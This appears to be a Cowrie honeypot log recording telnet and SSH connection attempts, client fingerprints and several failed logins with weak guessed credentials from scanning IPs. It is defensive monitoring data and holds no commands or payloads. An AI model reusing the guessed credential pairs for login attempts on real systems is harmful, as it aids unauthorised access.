{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":52662,"dst_ip":"159.203.135.109","dst_port":23,"session":"a06f5996fc27","protocol":"telnet","message":"New connection: 91.199.236.33:52662 (159.203.135.109:23) [session: a06f5996fc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:37.818538Z"}
{"eventid":"cowrie.session.closed","duration":30.38870072364807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:40.661416Z","src_ip":"91.199.236.33","session":"9a47446c40d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":54081,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd909341b51c","protocol":"telnet","message":"New connection: 91.199.236.33:54081 (159.203.135.109:23) [session: bd909341b51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:41.834722Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":54343,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc7da184bdd7","protocol":"telnet","message":"New connection: 91.199.236.33:54343 (159.203.135.109:23) [session: cc7da184bdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:42.534878Z"}
{"eventid":"cowrie.session.closed","duration":30.730489492416382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:42.659379Z","src_ip":"91.199.236.33","session":"d1ac0e3a475b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878514528274536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:42.753856Z","src_ip":"91.199.236.33","session":"92f9d5b45e07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":54814,"dst_ip":"159.203.135.109","dst_port":23,"session":"976190eaa661","protocol":"telnet","message":"New connection: 91.199.236.33:54814 (159.203.135.109:23) [session: 976190eaa661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:43.886550Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":55464,"dst_ip":"159.203.135.109","dst_port":23,"session":"207a1e364850","protocol":"telnet","message":"New connection: 91.199.236.33:55464 (159.203.135.109:23) [session: 207a1e364850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:45.788072Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":56286,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7285be5ae90","protocol":"ssh","message":"New connection: 152.32.238.146:56286 (10.17.0.5:22) [session: a7285be5ae90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:47.217343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:47.222046Z","src_ip":"152.32.238.146","session":"a7285be5ae90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:47.232591Z","src_ip":"152.32.238.146","session":"a7285be5ae90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1q2w3e4r5t","message":"login attempt [git/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:47.328503Z","src_ip":"152.32.238.146","session":"a7285be5ae90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38912,"dst_ip":"159.203.135.109","dst_port":22,"session":"35431021380e","protocol":"ssh","message":"New connection: 159.203.92.129:38912 (159.203.135.109:22) [session: 35431021380e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:47.433319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:47.440750Z","src_ip":"159.203.92.129","session":"35431021380e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:47.445303Z","src_ip":"159.203.92.129","session":"35431021380e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"password","message":"login attempt [aaa/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:47.458204Z","src_ip":"159.203.92.129","session":"35431021380e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:48.353568Z","src_ip":"152.32.238.146","session":"a7285be5ae90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:48.463495Z","src_ip":"159.203.92.129","session":"35431021380e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84054470062256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:53.668049Z","src_ip":"91.199.236.33","session":"c5ecd74d50ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":58596,"dst_ip":"159.203.135.109","dst_port":23,"session":"41c565d38d87","protocol":"telnet","message":"New connection: 91.199.236.33:58596 (159.203.135.109:23) [session: 41c565d38d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:53.870079Z"}
{"eventid":"cowrie.session.closed","duration":120.00349640846252,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:58.272865Z","src_ip":"152.59.19.2","session":"e7baefd7450f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":10738,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5858da89ceb","protocol":"telnet","message":"New connection: 152.59.19.2:10738 (159.203.135.109:23) [session: d5858da89ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:58.775803Z"}
{"eventid":"cowrie.session.closed","duration":120.00166344642639,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:59.686846Z","src_ip":"152.59.19.2","session":"2bfaabbe6e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":62716,"dst_ip":"159.203.135.109","dst_port":23,"session":"8298e59e8e97","protocol":"telnet","message":"New connection: 152.59.19.2:62716 (159.203.135.109:23) [session: 8298e59e8e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:00.334020Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":13623,"dst_ip":"159.203.135.109","dst_port":23,"session":"787844864423","protocol":"telnet","message":"New connection: 152.59.19.2:13623 (159.203.135.109:23) [session: 787844864423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:00.338245Z"}
{"eventid":"cowrie.session.closed","duration":30.327508687973022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:00.667079Z","src_ip":"91.199.236.33","session":"aefe45b4c06c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88387966156006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:05.658359Z","src_ip":"91.199.236.33","session":"7a1c36e971c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839967012405396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:06.673299Z","src_ip":"91.199.236.33","session":"091aad2d2e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885715007781982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:06.702749Z","src_ip":"91.199.236.33","session":"0036a12acfa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":51106,"dst_ip":"159.203.135.109","dst_port":22,"session":"2426bf8f2de2","protocol":"ssh","message":"New connection: 103.63.108.25:51106 (159.203.135.109:22) [session: 2426bf8f2de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:06.946643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:06.951198Z","src_ip":"103.63.108.25","session":"2426bf8f2de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:07.236322Z","src_ip":"103.63.108.25","session":"2426bf8f2de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.981536149978638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:07.812894Z","src_ip":"91.199.236.33","session":"56148adea4ae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test101","password":"123456","message":"login attempt [test101/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:08.399447Z","src_ip":"103.63.108.25","session":"2426bf8f2de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86028504371643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:08.678716Z","src_ip":"91.199.236.33","session":"a06f5996fc27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:09.688057Z","src_ip":"103.63.108.25","session":"2426bf8f2de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.12744450569153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:12.662191Z","src_ip":"91.199.236.33","session":"cc7da184bdd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95497488975525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:12.789617Z","src_ip":"91.199.236.33","session":"bd909341b51c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79858422279358,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:14.685039Z","src_ip":"91.199.236.33","session":"976190eaa661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878642082214355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:16.666583Z","src_ip":"91.199.236.33","session":"207a1e364850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":38978,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc00551106ae","protocol":"telnet","message":"New connection: 91.199.236.33:38978 (159.203.135.109:23) [session: dc00551106ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:18.823628Z"}
{"eventid":"cowrie.session.closed","duration":30.8028781414032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:24.672860Z","src_ip":"91.199.236.33","session":"41c565d38d87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":42808,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a2866d4213","protocol":"telnet","message":"New connection: 91.199.236.33:42808 (159.203.135.109:23) [session: 37a2866d4213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:28.087965Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.204.61","src_port":54148,"dst_ip":"159.203.135.109","dst_port":23,"session":"0236956b05fe","protocol":"telnet","message":"New connection: 173.231.204.61:54148 (159.203.135.109:23) [session: 0236956b05fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:29.178241Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":50065,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b836e8c13c","protocol":"telnet","message":"New connection: 43.224.126.107:50065 (159.203.135.109:23) [session: 90b836e8c13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:29.233575Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38166,"dst_ip":"159.203.135.109","dst_port":22,"session":"42a19f46a9fb","protocol":"ssh","message":"New connection: 159.203.92.129:38166 (159.203.135.109:22) [session: 42a19f46a9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:29.641953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:29.646330Z","src_ip":"159.203.92.129","session":"42a19f46a9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:29.653836Z","src_ip":"159.203.92.129","session":"42a19f46a9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaa","password":"123456","message":"login attempt [aaaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:29.665405Z","src_ip":"159.203.92.129","session":"42a19f46a9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:30.699022Z","src_ip":"159.203.92.129","session":"42a19f46a9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":43780,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40368cc4a12","protocol":"telnet","message":"New connection: 91.199.236.33:43780 (159.203.135.109:23) [session: e40368cc4a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:30.804302Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":54900,"dst_ip":"10.17.0.5","dst_port":22,"session":"c177be2a8cfc","protocol":"ssh","message":"New connection: 152.32.238.146:54900 (10.17.0.5:22) [session: c177be2a8cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:31.309920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:31.315521Z","src_ip":"152.32.238.146","session":"c177be2a8cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:31.329681Z","src_ip":"152.32.238.146","session":"c177be2a8cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"UBUNTU","password":"UBUNTU","message":"login attempt [UBUNTU/UBUNTU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:31.412553Z","src_ip":"152.32.238.146","session":"c177be2a8cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":44317,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e429698a935","protocol":"telnet","message":"New connection: 91.199.236.33:44317 (159.203.135.109:23) [session: 8e429698a935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:32.099775Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:32:32.429036Z","src_ip":"152.32.238.146","session":"c177be2a8cfc","protocol":"ssh"}
